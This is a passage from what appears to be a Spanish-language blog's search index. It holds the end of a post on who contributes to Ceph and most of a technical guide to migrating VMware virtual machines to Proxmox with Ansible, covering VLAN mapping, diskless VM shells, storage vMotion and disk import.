478 organizaciones en el árbol, y una licencia cuyo peor caso es un fork en vez de un callejón sin salida. Con la evidencia de 69 613 commits, este proyecto goza de buena salud.\nY cuéntalo tú mismo si dudas de mí. Los comandos están arriba, los datos son públicos, y nada en este post necesita tomarse por fe — ni la mía ni la de nadie.\nReferencias Fuentes del proyecto Ceph\n«Ceph: A Scalable, High-Performance Distributed File System» — Weil, Brandt, Miller, Long y Maltzahn, OSDI \u0026lsquo;06, noviembre de 2006. El artículo con el que Ceph empezó ceph/ceph en GitHub — el repositorio del que viene cada cifra de commits; .organizationmap, .mailmap, .peoplemap, .githubmap, doc/governance.rst y COPYING están todos en el árbol Gobernanza de Ceph — membresía del Executive Council y del Ceph Steering Committee, con direcciones Equipo de componentes de Ceph — responsables de componente Miembros de la Ceph Foundation — membresía actual por nivel Documentación de la Ceph Foundation — estructura de niveles y membresía Associate sin coste Miembros de la Ceph Foundation, documentación de Quincy — membresía tal como estaba hacia 2022 Módulo de telemetría de Ceph — confirma que la telemetría es voluntaria «Red Hat\u0026rsquo;s Ceph team is moving to IBM», 4 de octubre de 2022 Ceph Community Newsletter, noviembre de 2021 — Sage Weil apartándose Ceph Foundation y la Linux Foundation\nIntroducing Ceph Squid — las declaraciones de los miembros Diamond citadas arriba, y las cifras de 1 exabyte / más de 3 000 clústeres The Linux Foundation Launches Ceph Foundation, 12 de noviembre de 2018 — lista de miembros fundadores El mismo comunicado vía PRNewswire — usado para confirmar la lista de forma independiente Despliegues\n«Ceph: Infrastructure Storage at CERN» — Enrico Bocchi, CERN IT Storage, 27 de septiembre de 2024. Cada cifra del CERN de arriba viene de esta presentación Why We Chose Ceph to Build Block Storage — DigitalOcean «We Added 6 Petabytes Of Ceph Storage and No Clients Noticed» — Matthew Leonard y Joseph Mundackal, Bloomberg, Cephalocon 2020 Ceph en Wikitech — los cinco clústeres de producción de la Wikimedia Foundation Ceph RBD block storage — la propia documentación de OVHcloud Deploy Hyper-Converged Ceph Cluster — Proxmox VE enviando Ceph como su almacenamiento hiperconvergido Empresas\n«SUSE says tschüss to Ceph-based enterprise storage product», The Register, 25 de marzo de 2021 — SUSE Enterprise Storage cancelado por Longhorn Qi An Xin files for $634m IPO, Global Venturing, 13 de mayo de 2020 — los orígenes de QiAnXin en Qihoo 360, la participación de CEC y el accionariado Comparación\nDevelopment statistics for the 6.15 kernel, LWN.net — recuentos de desarrolladores y empleadores del kernel usados para la comparación de concentración ","permalink":"https://blogs.damiendye.uk/es/ceph/who-actually-writes-and-uses-ceph/","summary":"Conté cada commit a la rama main de Ceph de los últimos diez años — 69 613 de ellos de 1 718 personas en 478 organizaciones — rastreé los 38 miembros del Steering Committee hasta sus empleadores, y reuní los despliegues declarados públicamente. El resultado es un proyecto que absorbió la pérdida de su fundador y de su segundo mayor contribuyente sin perder el ritmo, y que hoy sigue publicando al mismo compás.","title":"Quién escribe y usa Ceph de verdad"},{"content":"El host existe esta vez. Solo que está en el hipervisor equivocado La última vez el problema era que la máquina nombrada en el inventario aún no existía — sin IP, sin SSH, sin Python, nada a lo que conectarse. Cada tarea tenía que delegarse lejos de ella.\nUna migración de VMware invierte eso y no cambia nada. La máquina existe, está en marcha, la gente la está usando. Aun así nunca te conectas a ella. Es un nombre y una bolsa de variables que describen algo que reconstruir en otro sitio. Cada tarea sigue corriendo en el nodo de control, y ahora hay dos API al otro extremo en vez de una.\nUna nota sobre lo que es esto. Este artículo es el diseño y el playbook, no una batallita. Todavía no lo he corrido contra un parque de producción de principio a fin. Todo lo que digo abajo sobre el comportamiento de los módulos lo leí en el código entregado y lo comprobé, y he dicho claramente dónde una afirmación viene del código en vez de de una ejecución. Cuando haya hecho una migración de verdad con él, los números y las sorpresas tendrán su propio artículo.\nVersiones contra las que se comprobó esto:\n$ ansible --version | head -1 ansible [core 2.20.7] $ ansible-galaxy collection list | grep -E \u0026#39;vmware|proxmox\u0026#39; community.proxmox 1.6.0 community.vmware 6.2.1 vmware.vmware 2.9.0 Los fragmentos de abajo están recortados de un solo playbook — migrate.yml, un inventario dinámico de vSphere en inventory/vmware.vms.yml, y un group_vars/all.yml. He generizado los nombres de datacenter, nodo y almacenamiento por legibilidad.\nLa forma del trabajo Cinco pasos, y solo el último cuesta algo.\ninvitados arriba, nada en riesgo el corte discover lee los portgroups distribuidos y sus etiquetas de VLAN sdn una zona de VLAN, un VNet por VLAN en Proxmox build carcasas sin disco, CPU, RAM correctas, firmware y MAC relocate storage vMotion de los VMDK a NFS, mientras corren cutover apaga, importa los discos, orden de arranque y arranca el invitado Todo lo reversible se hace antes de apagar nada La parte lenta es el relocate, y no cuesta tiempo de inactividad alguno. Para cuando la ventana se abre los discos ya están en almacenamiento que Proxmox monta, así que la conmutación es una importación local en vez de una copia. Una carcasa sin disco es barata de borrar, así que un error antes de la conmutación no cuesta más que tiempo. Abandonar la migración a la mitad deja cada invitado corriendo aún en VMware, intacto. Todo lo reversible pasa primero. La etapa lenta es gratis, y la etapa cara es corta, porque para entonces los discos ya están donde tienen que estar. El orden es todo el diseño. El descubrimiento no cambia nada. Construir la red cambia solo Proxmox. Construir las carcasas cambia solo Proxmox, y una carcasa sin disco es barata de borrar. Mover los discos es lento pero en vivo. Solo el último play apaga algo.\nVete a la mitad y cada invitado sigue corriendo en VMware, intacto.\nDos colecciones, y una de ellas se está retirando Necesitas las dos, y no por la razón que adivinarías.\ncollections: - name: community.vmware version: \u0026#34;\u0026gt;=6.2.1\u0026#34; - name: vmware.vmware version: \u0026#34;\u0026gt;=2.5.0\u0026#34; - name: community.proxmox version: \u0026#34;\u0026gt;=1.6.0\u0026#34; community.vmware es la colección vieja y amplia y se está desmontando. Su MANIFEST.json declara {\u0026quot;vmware.vmware\u0026quot;: \u0026quot;\u0026gt;=2.5.0\u0026quot;} como dependencia dura, así que instalar la primera arrastra la segunda, la pidieras o no. Los módulos se están mudando de uno en uno, y los que echas mano en una migración están en distintas etapas de esa mudanza:\nvmware_dvs_portgroup_info — todavía solo en community.vmware, y es lo que lee tus VLAN. vmware_vmotion — todavía solo en community.vmware. vmware_guest_powerstate — obsoleto, eliminado en community.vmware 7.0.0. Usa vmware.vmware.vm_powerstate. vmware_vm_inventory — obsoleto, eliminado en 7.0.0. Usa vmware.vmware.vms. Ansible te avisa de las obsolescencias de módulos en la primera pasada, lo que es decente por su parte:\n[DEPRECATION WARNING]: community.vmware.vmware_guest_powerstate has been deprecated. Use vmware.vmware.vm_powerstate instead. This feature will be removed from collection \u0026#39;community.vmware\u0026#39; version 7.0.0. No te avisa del plugin de inventario, porque los plugins de inventario se analizan antes de que esa maquinaria esté corriendo. Tienes que ir a leer el plugin.\nHay una tercera trampa en la división. vmware.vmware.vm_portgroup_info parece exactamente lo que una migración de red quiere — por VM, por NIC, te da el portgroup y la VLAN. Pero está construido sobre ModuleRestBase e importa com.vmware.vapi, lo que significa que necesita el SDK de vSphere Automation en el nodo de control, no solo pyVmomi. Su retorno documentado también está rancio: el bloque RETURN promete name y vlan_id, mientras que el código de verdad construye portgroup_name y un dict vlan_info para el caso distribuido. Fui por otro camino, abajo, y no necesité ninguno.\nEl inventario es el descubrimiento No hay un play de «ir a buscar las VM» en este playbook, porque para cuando la primera tarea corre el inventario ya lo ha hecho — en una consulta del colector de propiedades en vez de un bucle por VM.\n# inventory/vmware.vms.yml plugin: vmware.vmware.vms hostname: \u0026#34;{{ lookup(\u0026#39;ansible.builtin.env\u0026#39;, \u0026#39;VMWARE_HOST\u0026#39;) }}\u0026#34; username: \u0026#34;{{ lookup(\u0026#39;ansible.builtin.env\u0026#39;, \u0026#39;VMWARE_USER\u0026#39;) }}\u0026#34; password: \u0026#34;{{ lookup(\u0026#39;ansible.builtin.env\u0026#39;, \u0026#39;VMWARE_PASSWORD\u0026#39;) }}\u0026#34; validate_certs: false search_paths: - /Datacenter-1 properties: - name - config.name - config.uuid - config.guestId - config.firmware - config.template - config.hardware.numCPU - config.hardware.numCoresPerSocket - config.hardware.memoryMB - config.hardware.device - summary.runtime.powerState gather_compute_objects: true hostnames: [\u0026#39;name\u0026#39;] filter_expressions: - \u0026#39;config.template\u0026#39; El nombre del fichero importa. El verify_file del plugin solo reclama ficheros que terminan en vms.yml, vms.yaml, vmware_vms.yml o vmware_vms.yaml. Llámalo vcenter.yml y silenciosamente no es tu inventario.\nsearch_paths filtra antes de la consulta, no después. En un parque grande eso es la diferencia entre segundos y minutos — a diferencia de filter_expressions, sobre el que la documentación es explícita: corre después de la recogida y «does not affect the speed of the inventory plugin» — no afecta a la velocidad del plugin de inventario.\nfilter_expressions descarta un host cuando la expresión es verdadera. config.template por tanto quita las plantillas, lo que se lee al revés la primera vez.\nY la línea importante es config.hardware.device, que no está en ninguna lista de propiedades por defecto en ningún sitio. Es todo el inventario de hardware de la VM, y lleva tres cosas sin las que esta migración no puede avanzar: la MAC de cada NIC, la clave de dvportgroup a la que cada NIC está adjuntada, y la ruta de datastore de cada disco. Sin ella vuelves a un bucle vmware_guest_info, un viaje de ida y vuelta por VM.\nLos dispositivos vuelven como JSON con su tipo de vSphere preservado en _vimtype. Eso vale la pena saberlo porque es cómo distingues una NIC de un disco. Comprobé el codificador en vez de adivinar:\n{ \u0026#34;_vimtype\u0026#34;: \u0026#34;vim.vm.device.VirtualVmxnet3\u0026#34;, \u0026#34;macAddress\u0026#34;: \u0026#34;00:50:56:87:a5:9a\u0026#34;, \u0026#34;backing\u0026#34;: { \u0026#34;_vimtype\u0026#34;: \u0026#34;...DistributedVirtualPortBackingInfo\u0026#34;, \u0026#34;port\u0026#34;: { \u0026#34;_vimtype\u0026#34;: \u0026#34;vim.dvs.PortConnection\u0026#34;, \u0026#34;portgroupKey\u0026#34;: \u0026#34;dvportgroup-1014\u0026#34; } } } Así que un bloque compose puede subir las rutas incómodas a hostvars planos:\ncompose: vm_moid: moid vm_firmware: config.firmware vm_memory_mb: config.hardware.memoryMB vm_num_cpu: config.hardware.numCPU # A virtual NIC is any device with a MAC. Filtering on _vimtype does not # work cleanly here, because VMXNET3, E1000 and SR-IOV cards are all # different types with no shared substring. vm_nics: \u0026gt;- config.hardware.device | selectattr(\u0026#39;macAddress\u0026#39;, \u0026#39;defined\u0026#39;) | selectattr(\u0026#39;macAddress\u0026#39;, \u0026#39;ne\u0026#39;, None) | list # Disks are one exact type, so this one can match on it. vm_disks: \u0026gt;- config.hardware.device | selectattr(\u0026#39;_vimtype\u0026#39;, \u0026#39;eq\u0026#39;, \u0026#39;vim.vm.device.VirtualDisk\u0026#39;) | list Esa asimetría es real y pilla a la gente. No hay un tipo VirtualEthernetCard con el que casar. Esa es la clase base abstracta, y lo que vCenter de verdad te entrega es VirtualVmxnet3, VirtualE1000, VirtualE1000e, VirtualPCNet32 o VirtualSriovEthernetCard. No hay subcadena común a todos ellos. Tener una MAC, en cambio, es una cosa que solo hace una NIC.\nCada módulo de info esconde el campo que necesitas Este es el hilo conductor de todo el trabajo, y una vez que lo has visto tres veces empiezas a comprobar cada valor por defecto antes de escribir la tarea.\nvmware_dvs_portgroup_info tiene seis opciones show_*. Cinco por defecto son true. La sexta es show_vlan_info, y por defecto es false.\nshow_mac_learning=dict(type=\u0026#39;bool\u0026#39;, default=True), show_network_policy=dict(type=\u0026#39;bool\u0026#39;, default=True), show_teaming_policy=dict(type=\u0026#39;bool\u0026#39;, default=True), show_uplinks=dict(type=\u0026#39;bool\u0026#39;, default=True), show_port_policy=dict(type=\u0026#39;bool\u0026#39;, default=True), show_vlan_info=dict(type=\u0026#39;bool\u0026#39;, default=False), Déjalo en paz y obtienes la política de MAC learning, la política de teaming, el orden de uplinks y la política de puertos de cada portgroup del parque. Todo excepto la etiqueta de VLAN, que es el único campo que una migración de red de verdad está preguntando. Así que la tarea está del revés de lo que escribirías por instinto: enciende la única cosa, apaga las otras cinco.\n- name: Read the distributed portgroups community.vmware.vmware_dvs_portgroup_info: datacenter: \u0026#34;{{ vcenter_datacenter }}\u0026#34; show_vlan_info: true show_network_policy: false show_teaming_policy: false show_port_policy: false show_mac_learning: false show_uplinks: false register: dvs_pgs No es algo de una vez. vmware.vmware.vms tiene gather_compute_objects, que rellena cluster y esxi_host — por defecto false. community.vmware.vmware_vm_info tiene show_allocated, que es el bloque que contiene la CPU y la memoria — por defecto false. En los tres casos el campo caro de recoger es el que la migración necesita, y el valor por defecto protege un caso de uso de informe de solo lectura que no es el que tienes entre manos.\nvlan_id son tres tipos distintos Luego obtienes las etiquetas de VLAN y encuentras que no son una sola forma. Directo de get_vlan_info:\nif isinstance(vlan_obj, vim...TrunkVlanSpec): ... return dict(trunk=True, pvlan=False, vlan_id=vlan_id_list) elif isinstance(vlan_obj, vim...PvlanSpec): return dict(trunk=False, pvlan=True, vlan_id=str(vlan_obj.pvlanId)) else: return dict(trunk=False, pvlan=False, vlan_id=str(vlan_obj.vlanId)) Un portgroup de acceso te da la cadena \u0026quot;100\u0026quot;. Un PVLAN te da una cadena. Un trunk te da una lista de cadenas, cada una o \u0026quot;20\u0026quot; o \u0026quot;20-30\u0026quot;. Y cada switch distribuido tiene al menos un trunk en él lo hicieras o no, porque el portgroup de uplink es un trunk que lleva \u0026quot;0-4094\u0026quot;.\nAsí que | int no está disponible para ti hasta que hayas tirado las otras dos formas:\naccess_pgs: \u0026gt;- {{ dvs_pgs.dvs_portgroup_info | dict2items | map(attribute=\u0026#39;value\u0026#39;) | flatten | rejectattr(\u0026#39;vlan_info.trunk\u0026#39;) | rejectattr(\u0026#39;vlan_info.pvlan\u0026#39;) | rejectattr(\u0026#39;vlan_info.vlan_id\u0026#39;, \u0026#39;in\u0026#39;, [\u0026#39;0\u0026#39;, 0]) | list }} Tres rechazos, en ese orden. Los trunks fuera, los PVLAN fuera, y luego los portgroups sin etiqueta fuera, lo que también se deshace de los grupos de uplink y de cualquier cosa en la VLAN 0.\nNo estoy traduciendo trunks ni PVLAN automáticamente y le replicaría a cualquiera que lo hiciera. Un trunk de VMware aterrizando en Proxmox necesita o una zona Q-in-Q o un VNet consciente de VLAN, y cuál es el correcto depende de lo que el invitado espere ver. Eso es una decisión, no un mapeo. El playbook los imprime y sigue:\nTASK [Report what was found] ok: [localhost] =\u0026gt; { \u0026#34;msg\u0026#34;: \u0026#34;3 access portgroups -\u0026gt; [100, 200]. Not translated: [\u0026#39;dvs_001-uplink\u0026#39;] (trunks), [\u0026#39;isolated\u0026#39;] (PVLANs).\u0026#34; } Reflejar las VLAN en el SDN Una zona de VLAN vinculada a un puente, luego un VNet por VLAN con la etiqueta puesta.\n- name: Create the VLAN zone community.proxmox.proxmox_zone: zone: \u0026#34;{{ sdn_zone }}\u0026#34; type: vlan bridge: \u0026#34;{{ sdn_bridge }}\u0026#34; mtu: \u0026#34;{{ sdn_mtu }}\u0026#34; state: present - name: Create one VNet per VMware VLAN community.proxmox.proxmox_vnet: vnet: \u0026#34;{{ sdn_vnet_prefix }}{{ item.vlan_info.vlan_id | int }}\u0026#34; zone: \u0026#34;{{ sdn_zone }}\u0026#34; tag: \u0026#34;{{ item.vlan_info.vlan_id | int }}\u0026#34; alias: \u0026#34;{{ item.portgroup_name }}\u0026#34; state: present loop: \u0026#34;{{ access_pgs | unique(attribute=\u0026#39;vlan_info.vlan_id\u0026#39;) }}\u0026#34; throttle: 1 Los nombres de VNet son cortos y restringidos, y los nombres de portgroup de VMware no. Production-Web-Tier-VLAN100 es un nombre de portgroup perfectamente ordinario y un nombre de VNet imposible. Así que el nombre se genera — v100, a partir de la etiqueta — y el original legible por humanos va en alias, donde se queda visible en la UI y en la salida de pvesh. Derivar el nombre de la VLAN en vez del portgroup también significa que el mapeo es reversible por inspección seis meses después.\nDos portgroups en la misma VLAN colapsan en un VNet. Eso es correcto — eran el mismo dominio de difusión en VMware también — pero deberías verlo pasar, que es lo que unique(attribute='vlan_info.vlan_id') está haciendo. Dos portgroups llamados prod-web y prod-web-b, ambos en la VLAN 100, producen un v100.\nthrottle: 1 no es cautela, es el módulo. Cada escritura de SDN en community.proxmox toma un bloqueo de clúster global, aplica la configuración pendiente y lo libera — get_global_sdn_lock(), luego apply_sdn_changes_and_release_lock(). Córrelas en paralelo y hacen cola en el bloqueo de todos modos; el throttle solo te impide fingir lo contrario. Vale la pena saber también que la reversión en caso de fallo depende de la versión — el módulo comprueba is_lock_and_rollback_supported y, en PVE más viejo, te dice que no pudo revertir en vez de hacerlo.\nUna cosa cosmética que te hará dudar de ti mismo. En 1.6.0 proxmox_vnet emite su dict de params entero como una advertencia de Ansible en cada creación:\nself.module.warn(f\u0026#34;{vnet_params}\u0026#34;) self.proxmox_api.cluster().sdn().vnets().post(**vnet_params) Esa es una línea de depuración que alguien dejó dentro. Es ruido, no un fallo.\nConstruye las carcasas, sin discos Ahora las VM, y aquí es donde el diseño se gana a sí mismo. Cada VM se construye en Proxmox con el número correcto de CPU, la memoria correcta, el firmware correcto y las NIC correctas en las VLAN correctas. Sin discos en absoluto.\nUna carcasa sin disco es rápida de crear, gratis de borrar, y arranca a un prompt PXE si alguien la enciende por accidente. Puedes construir cuatrocientas en una tarde, mirar el resultado, decidir que está mal, borrar el lote y hacerlo de nuevo. Nada se ha copiado, nada se ha apagado, y nadie se ha enterado.\nLos valores derivados son declaraciones, no tareas. Ansible los evalúa de forma perezosa contra el host que esté en alcance, así que cada VM obtiene el suyo sin un solo set_fact:\n# group_vars/all.yml pve_vmid: \u0026#34;{{ vmid_base | int + (vm_moid | regex_replace(\u0026#39;^vm-\u0026#39;, \u0026#39;\u0026#39;) | int) }}\u0026#34; pve_bios: \u0026#34;{{ \u0026#39;ovmf\u0026#39; if vm_firmware == \u0026#39;efi\u0026#39; else \u0026#39;seabios\u0026#39; }}\u0026#34; pve_cores: \u0026#34;{{ vm_cores_per_socket | int }}\u0026#34; pve_sockets: \u0026#34;{{ ((vm_num_cpu | int) / (vm_cores_per_socket | int)) | round(0, \u0026#39;ceil\u0026#39;) | int }}\u0026#34; El VMID viene del MoID de vCenter. vm-42 se convierte en 20042. Eso importa más de lo que parece: el play de conmutación tiene que encontrar la VM que el play de construcción creó, y una nueva ejecución debe aterrizar en la misma en vez de construir en silencio una segunda. Dejar que la API asigne el siguiente ID libre — que es lo que pasa si omites vmid, y sobre lo que escribí la última vez — hace eso imposible.\nLa memoria no necesita conversión. VMware reporta config.hardware.memoryMB y Proxmox quiere MB. Los sockets sí: VMware te da vCPU totales y núcleos por socket, Proxmox quiere sockets y núcleos.\n- name: Create the VM shell delegate_to: localhost community.proxmox.proxmox_kvm: node: \u0026#34;{{ proxmox_node }}\u0026#34; vmid: \u0026#34;{{ pve_vmid }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; cores: \u0026#34;{{ pve_cores }}\u0026#34; sockets: \u0026#34;{{ pve_sockets }}\u0026#34; memory: \u0026#34;{{ vm_memory_mb }}\u0026#34; ostype: \u0026#34;{{ pve_ostype }}\u0026#34; bios: \u0026#34;{{ pve_bios }}\u0026#34; scsihw: \u0026#34;{{ default_scsihw }}\u0026#34; efidisk0: \u0026#34;{{ {\u0026#39;storage\u0026#39;: pve_target_storage, \u0026#39;efitype\u0026#39;: \u0026#39;4m\u0026#39;, \u0026#39;pre_enrolled_keys\u0026#39;: false} if pve_bios == \u0026#39;ovmf\u0026#39; else omit }}\u0026#34; agent: \u0026#34;enabled=1\u0026#34; onboot: false state: present onboot: false a propósito. Nada debería arrancar por sí solo en medio de una migración, y menos que nada una máquina cuyos discos todavía está escribiendo otro hipervisor.\nEl firmware no es opcional acertarlo. Un invitado UEFI importado a una VM SeaBIOS importará perfectamente y luego se negará a arrancar, y te pasarás una hora con ello. config.firmware es efi o bios y mapea directo a ovmf y seabios. Un invitado UEFI también necesita un disco de vars EFI, que hay que crear con la VM — mira abajo por qué.\nproxmox_kvm no arreglará una NIC, y no te lo dirá La última vez escribí que proxmox_kvm se niega a converger en vez de actualizar. Aquí está la versión más afilada de eso, que me mordió mientras escribía esto y vale la pena ser exacto al respecto.\nupdate por defecto es false, así que volver a correr contra una VM que ya existe no hace nada. Bien, y documentado. Pero pon update: true y el módulo todavía se niega a tocar algunos parámetros:\n# If update, don\u0026#39;t update disk (virtio, efidisk0, tpmstate0, ide, sata, scsi) # and network interface, unless update_unsafe=True if update_unsafe is False: ... if \u0026#34;efidisk0\u0026#34; in kwargs: del kwargs[\u0026#34;efidisk0\u0026#34;] Los borra de la petición y sigue. Así que corriges una NIC en tu mapeo de inventario, vuelves a correr con update: true, ves a Ansible reportar changed, y la NIC está exactamente tan mal como estaba. El changed es verdadero — algo más en la carga se actualizó — pero no la cosa que estabas arreglando.\nupdate_unsafe: true levanta la restricción, y el nombre es honesto. La misma protección cubre los discos, así que en una VM que tiene discos, una actualización insegura es una buena manera de adquirir una segunda copia de uno. Ese no es un interruptor al que echar mano durante una migración.\nLa salida es no usar net en absoluto. Las NIC se ponen con proxmox_nic, que es un módulo cuyo trabajo entero es una interfaz y que converge como es debido:\n- name: Attach each NIC to its VNet delegate_to: localhost community.proxmox.proxmox_nic: vmid: \u0026#34;{{ pve_vmid }}\u0026#34; interface: \u0026#34;net{{ idx }}\u0026#34; bridge: \u0026#34;{{ sdn_vnet_prefix }}{{ pg_vlan[item.backing.port.portgroupKey] }}\u0026#34; mac: \u0026#34;{{ item.macAddress }}\u0026#34; model: \u0026#34;{{ default_net_model }}\u0026#34; state: present loop: \u0026#34;{{ vm_nics }}\u0026#34; loop_control: index_var: idx Ese es el mismo reparto al que acabé llegando la última vez: proxmox_kvm para definir la máquina, proxmox_disk y proxmox_nic para las cosas que cambian después. El parámetro es mac, no mac_addr.\nefidisk0 no se puede sacar del mismo modo — proxmox_disk no tiene efitype ni pre_enrolled_keys — así que tiene que ponerse en el momento de crear y estar bien a la primera.\nLleva la MAC contigo. VMware reparte MAC de 00:50:56:... y Proxmox las tomará sin queja. Mantenerlas significa que las reservas de DHCP siguen casando, las licencias atadas a MAC siguen validando, y cualquier regla de cortafuegos escrita contra una MAC sigue disparando. Cambiarlas significa un día de pequeños misterios. proxmox_nic también acepta model: vmxnet3 si necesitas que el invitado vea la misma NIC que veía antes, pero en KVM, virtio es la mejor tarjeta, y un invitado Windows va a querer drivers nuevos de todos modos.\nNegarse en vez de adivinar Una NIC en un portgroup estándar no tiene backing.port en absoluto. Su backing es un NetworkBackingInfo con un deviceName. No estará en el mapa, y lo correcto que hacer es parar:\n- name: Every NIC must sit on a distributed portgroup with a VNet ansible.builtin.assert: that: - vm_nics | rejectattr(\u0026#39;backing.port.portgroupKey\u0026#39;, \u0026#39;defined\u0026#39;) | list | length == 0 - vm_nics | map(attribute=\u0026#39;backing.port.portgroupKey\u0026#39;) | reject(\u0026#39;in\u0026#39;, pg_vlan.keys() | list) | list | length == 0 fail_msg: \u0026gt;- {{ inventory_hostname }} has NICs that do not map to a Proxmox VNet. Attaching it to the wrong network is worse than not building it. Dos condiciones en vez de una, porque la primera tiene que correr antes que la segunda: map(attribute=...) sobre una NIC sin port explotaría en la búsqueda indefinida. Rechaza las sin forma primero, luego comprueba el resto contra el mapa.\nUn export, montado dos veces Aquí está la parte que hace toda la cosa barata.\nPon un export NFS donde ambos hipervisores puedan montarlo. vCenter ve un datastore llamado nfs-migration; los nodos de Proxmox montan el mismo export y ven /mnt/pve/nfs-migration. Ahora haz storage-vMotion de los VMDK sobre él.\nStorage vMotion es en vivo. El invitado sigue sirviendo tráfico todo el tiempo. Nada se conmuta, no hace falta ventana, y se puede abandonar a la mitad sin consecuencia más allá de la E/S desperdiciada. Es la etapa más lenta con diferencia y no cuesta nada.\n- name: Relocate to the NFS datastore delegate_to: localhost throttle: 2 community.vmware.vmware_vmotion: moid: \u0026#34;{{ vm_moid }}\u0026#34; destination_datastore: \u0026#34;{{ nfs_datastore_vmware }}\u0026#34; timeout: \u0026#34;{{ vmotion_timeout }}\u0026#34; timeout por defecto es 3600 — una hora. Un VMDK de 2 TB no lo logrará, y el modo de fallo es feo de una manera callada: la tarea de Ansible falla mientras el vMotion sigue corriendo en vCenter. Ahora tienes un playbook que dice que falló y un parque que sigue ocupado. Ponlo a algo que refleje tu almacenamiento real.\nthrottle: 2, porque el cuello de botella no es el nodo de control. Storage vMotion está acotado por la cabina y la red. Seis a la vez no te da seis veces el caudal; te da seis migraciones lentas y un equipo de almacenamiento enfadado.\nEl módulo es idempotente de la manera que quieres — pone storage_vmotion_needed = False si la VM ya está en el datastore de destino — así que volver a correr para recoger rezagados es seguro.\nPara cuando esto termina, los bytes están sentados en un almacenamiento que Proxmox ya monta. Como tal, nada más necesita copiarlos. Nunca.\nLa conmutación Este es el único play que cuesta tiempo de inactividad, y el orden dentro de él no es negociable.\nPrimero, un problema fácil de pasar por alto: el inventario ahora está rancio. Se recogió antes del vMotion, así que vm_disks todavía tiene las rutas de datastore viejas. Importa desde esas y estás apuntando Proxmox a una ruta que no puede ver.\n- name: Re-read the inventory now the disks have moved ansible.builtin.meta: refresh_inventory Que es también por lo que el caché está apagado en la configuración del inventario. Un caché caliente le devolvería a refresh_inventory exactamente los datos rancios que se le llamó a reemplazar. Eso es un compromiso real — vCenter no es rápido — pero una ruta equivocada aquí es una conmutación fallida en una ventana, y el viaje de ida y vuelta es barato en comparación.\nLuego apaga. Importar un VMDK que un host ESXi todavía tiene abierto te da una copia consistente por caída en el mejor caso:\n- name: Shut the guest down in VMware delegate_to: localhost vmware.vmware.vm_powerstate: moid: \u0026#34;{{ vm_moid }}\u0026#34; state: \u0026#34;{{ \u0026#39;shutdown-guest\u0026#39; if vm_power_state == \u0026#39;poweredOn\u0026#39; else \u0026#39;powered-off\u0026#39; }}\u0026#34; timeout: 600 force: true shutdown-guest es un apagado elegante a través de VMware Tools; force: true para en duro cualquier cosa que no se vaya dentro del timeout. En el módulo nuevo el parámetro es timeout, no state_change_timeout como era en el obsoleto.\nLuego la importación, que es el pivote:\n- name: Import each VMDK onto its VM delegate_to: localhost throttle: 2 community.proxmox.proxmox_disk: vmid: \u0026#34;{{ pve_vmid }}\u0026#34; disk: \u0026#34;scsi{{ idx }}\u0026#34; storage: \u0026#34;{{ pve_target_storage }}\u0026#34; import_from: \u0026gt;- {{ item.backing.fileName | regex_replace(\u0026#39;^\\[[^\\]]+\\]\\s*\u0026#39;, \u0026#39;/mnt/pve/\u0026#39; ~ nfs_storage_pve ~ \u0026#39;/\u0026#39;) }} format: \u0026#34;{{ pve_target_format }}\u0026#34; timeout: \u0026#34;{{ import_timeout }}\u0026#34; create: regular state: present loop: \u0026#34;{{ vm_disks }}\u0026#34; loop_control: index_var: idx El regex_replace está haciendo la traducción entre los dos mundos. vCenter nombra un disco [nfs-migration] app01/app01.vmdk; Proxmox alcanza el mismo fichero en /mnt/pve/nfs-migration/app01/app01.vmdk. Mismo export, mismos bytes, sin segunda copia. Te quedas el descriptor .vmdk e ignoras el -flat.vmdk que hay a su lado — qemu-img lee el descriptor y lo sigue hasta el extent.\nTres cosas sobre import_from que están todas en el módulo y todas valen la pena conocerlas antes de que la ventana se abra.\nSolo se dispara al crear. En la rama de actualización:\n# \u0026#39;import_from\u0026#39; fails on disk updates playbook_config = self.get_create_attributes() playbook_config.pop(\u0026#34;import_from\u0026#34;, None) Si scsi0 ya existe en esa VM, el parámetro se descarta y obtienes una actualización ordinaria. Así que volver a correr tras una importación mala no reimporta. Silenciosamente no hace nada en absoluto y reporta éxito. Si una importación va mal, borra el disco antes de intentarlo de nuevo.\ntimeout por defecto es 600 segundos. Diez minutos, para importar y convertir el disco de una máquina virtual. La propia documentación del módulo dice que lo subas; sigue el consejo.\nY una ruta absoluta necesita root. La documentación es tajante al respecto:\n\u0026lt;STORAGE\u0026gt;:\u0026lt;VMID\u0026gt;/\u0026lt;FULL_NAME\u0026gt; or \u0026lt;ABSOLUTE_PATH\u0026gt;/\u0026lt;FULL_NAME\u0026gt;. \u0026lt;STORAGE\u0026gt;:import/\u0026lt;FULL_NAME\u0026gt; for PVE 9.x and later, to use storage\u0026rsquo;s import directory. Attention! Only root can use absolute paths.\nLo que aterriza incómodo contra el consejo que di la última vez, y que sigo defendiendo: usa un token de API acotado, no root. Ese consejo se mantiene para cada otra etapa aquí: el descubrimiento, el SDN, construir carcasas, poner el orden de arranque, todo funciona bien con un token. Esta única tarea no, y ninguna cantidad de privilegio en el rol lo cambiará, porque la restricción está en que el usuario sea root en vez de en un permiso.\nHay tres salidas honestas, y ninguna cuarta ingeniosa:\nPVE 9.x: usa \u0026lt;storage\u0026gt;:import/\u0026lt;file\u0026gt; y quédate en el token. PVE 8.x: haz esta única tarea como root@pam, y solo esta. PVE 8.x, sin root sobre la API: corre qm importdisk sobre SSH en su lugar. El playbook toma las dos primeras vía un flag, porque fingir lo contrario solo movería el problema a quien lo corra.\nFinalmente el orden de arranque, que es una actualización ordinaria y por tanto intacto por la restricción de update_unsafe:\n- name: Boot from the first imported disk delegate_to: localhost community.proxmox.proxmox_kvm: node: \u0026#34;{{ proxmox_node }}\u0026#34; vmid: \u0026#34;{{ pve_vmid }}\u0026#34; boot: \u0026#34;order=scsi0\u0026#34; update: true Nada arranca el invitado. Eso es deliberado. Arráncalo a mano, míralo levantarse, y solo entonces piensa en borrar cualquier cosa en VMware.\nCorrerlo Toda la cosa es un solo playbook, etiquetado por etapa, porque estos no son pasos que quieras correr juntos:\nansible-playbook migrate.yml --tags discover # look, change nothing ansible-playbook migrate.yml --tags sdn # build the VLANs ansible-playbook migrate.yml --tags build # build the diskless shells ansible-playbook migrate.yml --tags relocate # storage vMotion, live ansible-playbook migrate.yml --tags cutover # power off and import --limit es tu amigo de principio a fin. Haz una VM primero. Haz un clúster. El playbook no tiene opinión sobre cuánto muerdes, y el inventario te da grupos gratis — power_poweredOn, cluster_\u0026lt;name\u0026gt;, más vmware_windows y vmware_linux del 